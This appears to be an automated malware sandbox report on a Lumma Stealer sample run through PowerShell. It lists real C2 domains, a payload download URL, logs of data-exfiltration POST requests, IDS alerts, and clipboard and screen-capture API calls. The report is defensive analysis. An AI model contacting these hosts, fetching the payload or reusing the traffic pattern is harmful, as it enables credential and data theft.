Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	8_2_0043C990
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp edx	8_2_004239B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	8_2_004239B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 385488F2h	8_2_0043CA40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	8_2_00436210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then dec edx	8_2_0043FA20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	8_2_0042AAC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0Ah]	8_2_0040AB40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	8_2_00440340
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	8_2_0041C300
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then dec edx	8_2_0043FB10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then dec edx	8_2_0043FB2A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then dec edx	8_2_0043FB28
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	8_2_004073D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	8_2_004073D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	8_2_004283D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-6E2DD57Fh]	8_2_0041EB80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [eax+edi-74D5A7FEh]	8_2_0042C465
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0042C465
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_0041747D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [edx], di	8_2_0041747D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	8_2_00414CA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then dec edx	8_2_0043FD70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+61765397h]	8_2_0041B57D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-16h]	8_2_00440D20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	8_2_00428528
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	8_2_00426D2E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-46h]	8_2_0043EDC1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	8_2_0043CDF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-3ECB279Fh]	8_2_0043CDF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	8_2_0043CDF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 7F7BECC6h	8_2_0043CDF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0042DDFF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, ecx	8_2_0042A5B6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	8_2_00422E6D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp edx	8_2_00422E6D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	8_2_00422E6D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then dec edx	8_2_0043FE00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [ebx], al	8_2_0042DE07
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	8_2_004406F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	8_2_00429E80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	8_2_00402EB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]	8_2_00427740
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [eax], cx	8_2_00416F52
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	8_2_0042BF13
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edi, dword ptr [esp+28h]	8_2_00425F1B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	8_2_00429739
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp edx	8_2_004237D6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [esp+20h], eax	8_2_00409780

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49916 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49916 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49977 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49930 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49922 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49922 -> 104.21.84.241:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: advicebedsu.click
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz

Source: global traffic

HTTP traffic detected: GET /singl5.csx HTTP/1.1Host: cdn1.klipbazyxui.shopConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 104.21.84.241 104.21.84.241

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49916 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49930 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49940 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49922 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49956 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49947 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49965 -> 104.21.84.241:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49977 -> 104.21.84.241:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: advicebedsu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 48Host: advicebedsu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BXOEAC8LGUS0U8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18140Host: advicebedsu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GV7D45M6XOHU3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8755Host: advicebedsu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DAE0IDGYHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20384Host: advicebedsu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LTCEQR1V02DCUIQE3XSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1259Host: advicebedsu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MXLJWJKRJMSEZ522User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 570957Host: advicebedsu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 83Host: advicebedsu.click

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /singl5.csx HTTP/1.1Host: cdn1.klipbazyxui.shopConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: cdn1.klipbazyxui.shop
Source: global traffic	DNS traffic detected: DNS query: advicebedsu.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: advicebedsu.click

Source: powershell.exe, 00000000.00000002.1807008792.0000016DE0804000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1807008792.0000016DE0947000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2537626425.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2537626425.0000000004B67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2616078952.0000000007180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD0791000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2537626425.0000000004A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2537626425.0000000004B67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2616078952.0000000007180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.1811314226.0000016DE8922000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.$
Source: powershell.exe, 00000000.00000002.1812415946.0000016DE89F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co-
Source: powershell.exe, 00000008.00000002.2635830173.00000000030F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://advicebedsu.click/
Source: powershell.exe, 00000008.00000002.2635830173.00000000030F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://advicebedsu.click/XUr
Source: powershell.exe, 00000008.00000002.2635830173.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2635830173.00000000030E9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2633114961.0000000003066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://advicebedsu.click/api
Source: powershell.exe, 00000008.00000002.2635830173.00000000030F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://advicebedsu.click/api8
Source: powershell.exe, 00000008.00000002.2633114961.0000000003066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://advicebedsu.click/pi
Source: powershell.exe, 00000008.00000002.2633114961.0000000003072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://advicebedsu.click:443/api
Source: powershell.exe, 00000008.00000002.2633114961.0000000003072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://advicebedsu.click:443/apiz
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD0791000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.2537626425.0000000004A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBfq
Source: powershell.exe, 00000002.00000002.2537626425.0000000004B67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn1.klipbazyxui.shop
Source: powershell.exe, 00000002.00000002.2616078952.00000000071E7000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2534544609.0000000002B50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn1.klipbazyxui.shop/singl5.csx
Source: powershell.exe, 00000002.00000002.2537626425.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2537626425.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2537626425.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2537626425.0000000004B67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2616078952.0000000007180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000000.00000002.1807008792.0000016DE0804000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1807008792.0000016DE0947000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2537626425.0000000005A7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: powershell.exe, 00000002.00000002.2614845846.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965

Source: unknown	HTTPS traffic detected: 104.21.72.190:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.84.241:443 -> 192.168.2.4:49977 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00433E30 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

8_2_00433E30

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_00433E30 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

8_2_00433E30

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 8_2_004348C2 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

8_2_004348C2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 7432, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7792, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B7DAEE2	0_2_00007FFD9B7DAEE2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B7DA136	0_2_00007FFD9B7DA136
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B7D211D	0_2_00007FFD9B7D211D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B8A38D4	0_2_00007FFD9B8A38D4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0455C750	2_2_0455C750
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D0CC2B	2_2_06D0CC2B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D05610	2_2_06D05610
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D05600	2_2_06D05600
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D0B2B9	2_2_06D0B2B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D05080	2_2_06D05080
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D05070	2_2_06D05070
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D08F80	2_2_06D08F80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D08F73	2_2_06D08F73
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D19EB8	2_2_06D19EB8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D18410	2_2_06D18410
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D18420	2_2_06D18420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D12298	2_2_06D12298
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D12267	2_2_06D12267
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D10040	2_2_06D10040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D1001F	2_2_06D1001F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D19EA8	2_2_06D19EA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D3E45A	2_2_06D3E45A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D3E468	2_2_06D3E468
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D368B8	2_2_06D368B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D3E83B	2_2_06D3E83B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F4C250	2_2_06F4C250
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F47ED0	2_2_06F47ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F48F30	2_2_06F48F30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F48F22	2_2_06F48F22
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F45702	2_2_06F45702
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F4C587	2_2_06F4C587
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F4D868	2_2_06F4D868
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F40040	2_2_06F40040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F40007	2_2_06F40007
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F6A670	2_2_06F6A670
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F6C707	2_2_06F6C707
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F6D8C8	2_2_06F6D8C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F6D8B8	2_2_06F6D8B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00411227	8_2_00411227
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00439280	8_2_00439280
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042D34A	8_2_0042D34A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00427440	8_2_00427440
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00421D00	8_2_00421D00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0043C5A0	8_2_0043C5A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00408600	8_2_00408600
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040E687	8_2_0040E687
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00438EA0	8_2_00438EA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004157C0	8_2_004157C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040C840	8_2_0040C840
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0041D003	8_2_0041D003
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040D021	8_2_0040D021
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0040D83C	8_2_0040D83C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_004038C0	8_2_004038C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0042A0CA	8_2_0042A0CA
